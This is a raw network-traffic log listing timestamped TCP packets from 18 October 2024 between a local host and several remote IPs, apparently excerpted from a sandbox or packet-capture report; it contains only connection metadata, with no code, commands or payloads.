Oct 18, 2024 23:46:20.247251034 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247282028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247293949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247311115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247354031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247354031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247431040 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247458935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247477055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247490883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247507095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247519970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247522116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247539043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247539997 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247553110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247555017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.247582912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.247631073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.259468079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.259485006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.259495974 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.259506941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.259519100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.259525061 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.259583950 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.297887087 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.297956944 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.297956944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.297991991 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298017025 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298026085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298031092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298077106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298079967 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298111916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298125029 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298141956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298166037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298175097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298176050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298211098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.298233986 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.298249960 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310461044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310513020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310596943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310627937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310678959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310679913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310713053 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310746908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310770035 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310777903 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310780048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310813904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310825109 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310846090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310856104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310883999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.310894966 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.310985088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311037064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311059952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311093092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311108112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311125994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311132908 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311162949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311197042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311203957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311228991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311494112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311527014 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311553001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311562061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311562061 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311609030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311624050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311644077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.311660051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.311681986 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.317917109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.317975044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.317975998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318010092 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318020105 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318046093 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318054914 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318095922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318114042 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318130970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318145990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318164110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318170071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318200111 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318205118 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318233967 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318245888 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318274975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318449020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318481922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318497896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318516970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318521976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318555117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318568945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318603039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318635941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318648100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318671942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318679094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318794012 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318813086 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318841934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318861961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318892002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318892002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318928003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.318955898 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.318984985 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.387367010 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.431408882 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.570595026 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.571086884 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.571120024 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.571795940 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.571810007 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.579130888 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.579643965 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.579673052 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.580037117 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.580044985 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.590712070 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.591197014 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.591209888 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.591692924 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.591697931 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.598155975 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.598479986 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.598500967 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.598562956 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.598961115 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.598968983 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.598993063 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.599000931 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.599512100 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.599518061 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.637797117 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.637877941 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.637898922 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.637938976 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.637940884 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.637979031 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.637994051 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.638010979 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.638010979 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.638031006 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.638040066 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.638387918 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.638453960 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.638463020 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.638792038 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:20.638847113 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:20.703758001 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.703787088 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.703840971 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.703845978 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.703891039 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.708909035 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.708940983 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.708959103 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.708966017 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.709544897 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.709600925 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.709656000 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.709695101 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.709747076 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.709789991 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.728113890 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.728148937 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.728164911 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.728172064 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.729703903 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.729728937 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.729799986 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.729826927 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.729877949 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.729885101 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.729935884 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.730134010 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.730192900 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.731904030 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.731986046 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.732019901 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.734152079 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.734170914 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.734215975 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.734220982 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.754643917 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.754681110 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.763380051 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.763380051 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.763422012 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.763444901 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.775743008 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.775789976 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.775857925 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.777003050 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.777024984 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.777117014 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.778105974 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.778129101 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.778974056 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.779021025 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.779196978 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.779298067 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.779310942 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.779402018 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.779421091 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.781538010 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.781579971 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.781639099 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.781809092 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.781824112 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.783310890 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.783340931 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:20.783463955 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.783857107 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:20.783871889 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.281594038 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:21.281632900 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:21.281665087 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:21.281675100 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:21.517041922 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.517299891 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.517659903 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.517683029 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.517693043 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.517751932 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.518722057 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.519561052 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.519576073 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.519613028 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.519629955 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.519948006 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.520210981 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.520215034 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.520222902 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.520227909 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.520551920 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.520558119 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.520962000 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.520972967 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.538718939 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.539094925 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.539125919 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.539645910 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.539654016 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.644001961 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.644295931 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.644582033 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.644678116 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.644679070 CEST	49734	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.644722939 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.644750118 CEST	443	49734	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.646776915 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.646840096 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.647389889 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.647442102 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.647460938 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.647460938 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.647490978 CEST	49737	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.647500992 CEST	443	49737	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.647530079 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.647907019 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.647922993 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.649398088 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.649446011 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.649524927 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.649578094 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.649638891 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.649897099 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.649912119 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.649914980 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.650008917 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.650008917 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.650029898 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.650042057 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.650816917 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.651206970 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.651293039 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.651293039 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.651330948 CEST	49733	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.651344061 CEST	443	49733	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.654064894 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.654103041 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.654196024 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.654243946 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.654285908 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.654380083 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.654397964 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.654458046 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.654587984 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.654612064 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.673481941 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.673630953 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.673755884 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.673755884 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.673796892 CEST	49736	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.673814058 CEST	443	49736	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.676059961 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.676088095 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:21.676151991 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.676337004 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:21.676356077 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.381114960 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.381637096 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.381670952 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.383538961 CEST	49739	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.383552074 CEST	443	49739	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.394834042 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.395517111 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.395543098 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.395910978 CEST	49738	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.395916939 CEST	443	49738	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.400182962 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.400717974 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:22.400752068 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:22.401155949 CEST	49741	443	192.168.2.5	13.107.246.45
